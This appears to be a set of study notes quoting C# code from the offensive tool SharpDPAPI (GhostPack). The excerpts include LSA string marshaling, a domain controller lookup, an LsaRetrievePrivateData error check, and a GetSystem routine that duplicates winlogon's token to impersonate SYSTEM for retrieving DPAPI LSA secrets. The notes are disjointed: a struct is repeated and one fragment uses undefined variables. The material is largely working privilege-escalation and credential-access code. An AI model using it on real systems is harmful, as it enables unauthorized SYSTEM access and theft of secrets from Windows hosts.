**June 14, 2022 11:32 AM (CDT)June 14, 2022 11:32 AM (CDT)June 14, 2022 11:32 AM (CDT)
Credit : SharpDPAPI from GhostPack
Copies the contents of a managed String into unmanaged memory.
Ex.
public struct LSA_UNICODE_STRING : IDisposable
{
public ushort Length;
public ushort MaximumLength;
public IntPtr buffer;
public LSA_UNICODE_STRING(string s)
{
Length = (ushort)(s.Length * 2);
MaximumLength = (ushort)(Length + 2);
buffer = Marshal.StringToHGlobalUni(s);
}
}
[DllImport("Netapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern int DsGetDcName
(
[MarshalAs(UnmanagedType.LPTStr)] string ComputerName,
[MarshalAs(UnmanagedType.LPTStr)] string DomainName,
[In] int DomainGuid,
[MarshalAs(UnmanagedType.LPTStr)] string SiteName,
[MarshalAs(UnmanagedType.U4)] DSGETDCNAME_FLAGS flags,
out IntPtr pDOMAIN_CONTROLLER_INFO
);
public static string GetDCName()
{
// retrieves the current domain controller name
// adapted from <https://www.pinvoke.net/default.aspx/netapi32.dsgetdcname>
DOMAIN_CONTROLLER_INFO domainInfo;
const int ERROR_SUCCESS = 0;
IntPtr pDCI = IntPtr.Zero;
int val = DsGetDcName("", "", 0, "",
DSGETDCNAME_FLAGS.DS_DIRECTORY_SERVICE_REQUIRED |
DSGETDCNAME_FLAGS.DS_RETURN_DNS_NAME |
DSGETDCNAME_FLAGS.DS_IP_REQUIRED, out pDCI);
if (ERROR_SUCCESS == val)
{
domainInfo = (DOMAIN_CONTROLLER_INFO)Marshal.PtrToStructure(pDCI, typeof(DOMAIN_CONTROLLER_INFO));
string dcName = domainInfo.DomainControllerName;
NetApiBufferFree(pDCI);
return dcName.Trim('\\\\');
}
else
{
string errorMessage = new Win32Exception((int)val).Message;
Console.WriteLine("\\r\\n [X] Error {0} retrieving domain controller : {1}", val, errorMessage);
NetApiBufferFree(pDCI);
return "";
}
}
[StructLayout(LayoutKind.Sequential)]
public struct LSA_UNICODE_STRING : IDisposable
{
public ushort Length;
public ushort MaximumLength;
public IntPtr buffer;
public LSA_UNICODE_STRING(string s)
{
Length = (ushort)(s.Length * 2);
MaximumLength = (ushort)(Length + 2);
buffer = Marshal.StringToHGlobalUni(s);
}
public void Dispose()
{
Marshal.FreeHGlobal(buffer);
buffer = IntPtr.Zero;
}
public override string ToString()
{
return Marshal.PtrToStringUni(buffer);
}
}
EX . Interop.LSA_UNICODE_STRING backupKeyLSA = new Interop.LSA_UNICODE_STRING(backupKeyName);
if (ntsResult2 != 0)
{
uint winErrorCode = Interop.LsaNtStatusToWinError(ntsResult2);
string errorMessage = new Win32Exception((int)winErrorCode).Message;
Console.WriteLine("\\r\\n[X] Error calling LsaRetrievePrivateData ({0}) : {1}\\r\\n", winErrorCode, errorMessage);
return;
}
public static bool GetSystem()
{
// helper to elevate to SYSTEM via token impersonation
// used for LSA secret (DPAPI_SYSTEM) retrieval
if (IsHighIntegrity())
{
IntPtr hToken = IntPtr.Zero;
// Open winlogon's token with TOKEN_DUPLICATE accesss so ca can make a copy of the token with DuplicateToken
Process[] processes = Process.GetProcessesByName("winlogon");
IntPtr handle = processes[0].Handle;
// TOKEN_DUPLICATE = 0x0002
bool success = Interop.OpenProcessToken(handle, 0x0002, out hToken);
if (!success)
{
//Console.WriteLine("OpenProcessToken failed!");
return false;
}
// make a copy of the NT AUTHORITY\\SYSTEM token from winlogon
// 2 == SecurityImpersonation
IntPtr hDupToken = IntPtr.Zero;
success = Interop.DuplicateToken(hToken, 2, ref hDupToken);
if (!success)
{
//Console.WriteLine("DuplicateToken failed!");
return false;
}
success = Interop.ImpersonateLoggedOnUser(hDupToken);
if (!success)
{
//Console.WriteLine("ImpersonateLoggedOnUser failed!");
return false;
}
// clean up the handles we created
Interop.CloseHandle(hToken);
Interop.CloseHandle(hDupToken);
string name = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
if (name != "NT AUTHORITY\\\\SYSTEM")
{
return false;
}
return true;
}
else
{
return false;
}
}